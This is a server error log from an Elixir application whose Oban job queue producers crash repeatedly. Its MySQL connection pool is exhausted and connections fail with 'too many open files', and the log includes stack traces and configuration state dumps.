    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:53:49.239568Z], limit: 50, uuid: "36ab203b-b5af-4ddd-b841-c3434893a8a4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:53:49.239578Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.249211>, refresh_timer: #Reference<0.2525715032.1077411843.224456>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:54:02.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 878ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:53:49.242637Z], limit: 20, uuid: "ac5bb2bb-064a-468c-90eb-1a9f4ff97a5f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:53:49.242643Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.249213>, refresh_timer: #Reference<0.2525715032.1068236804.240767>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:54:03.270000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:54:04.172000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:54:05.862000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:54:06.042000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:54:13.199000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:54:14.009000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:54:14.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1034ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:54:02.242069Z], limit: 3, uuid: "2695f126-adb7-40b9-91b9-4cd8cac55e4a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:54:02.242076Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.241034>, refresh_timer: #Reference<0.2525715032.1099169794.249456>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:54:14.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1062ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:54:02.246974Z], limit: 20, uuid: "48113abb-aa8f-45ec-94d6-cc61308ea4c2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:54:02.246980Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.241035>, refresh_timer: #Reference<0.2525715032.1077411843.224572>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:54:14.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1021ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:54:02.243857Z], limit: 10, uuid: "3c791bbe-6c63-42a2-85a8-65cc8c070fb1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:54:02.243863Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.241031>, refresh_timer: #Reference<0.2525715032.1121189889.99906>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:54:14.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 833ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:54:02.246376Z], limit: 50, uuid: "0538f033-e2f3-4ed4-a56c-0149667bfd12", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:54:02.247324Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.241036>, refresh_timer: #Reference<0.2525715032.1077411843.224569>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:54:14.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 837ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:54:02.243654Z], limit: 5, uuid: "4afbbe1c-fdbc-4caf-b23f-aacec8dd8d4d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:54:02.243659Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.241032>, refresh_timer: #Reference<0.2525715032.1121189889.99895>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:54:14.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 850ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:54:02.240268Z], limit: 5, uuid: "d95cb7c7-0642-4667-b75d-2c3d0ccd94eb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:54:02.240275Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.241033>, refresh_timer: #Reference<0.2525715032.1121189889.99893>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:54:14.679000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:54:17.892000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:54:19.354000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:54:20.566000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:54:21.877000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:54:22.960000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:54:26.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 802ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
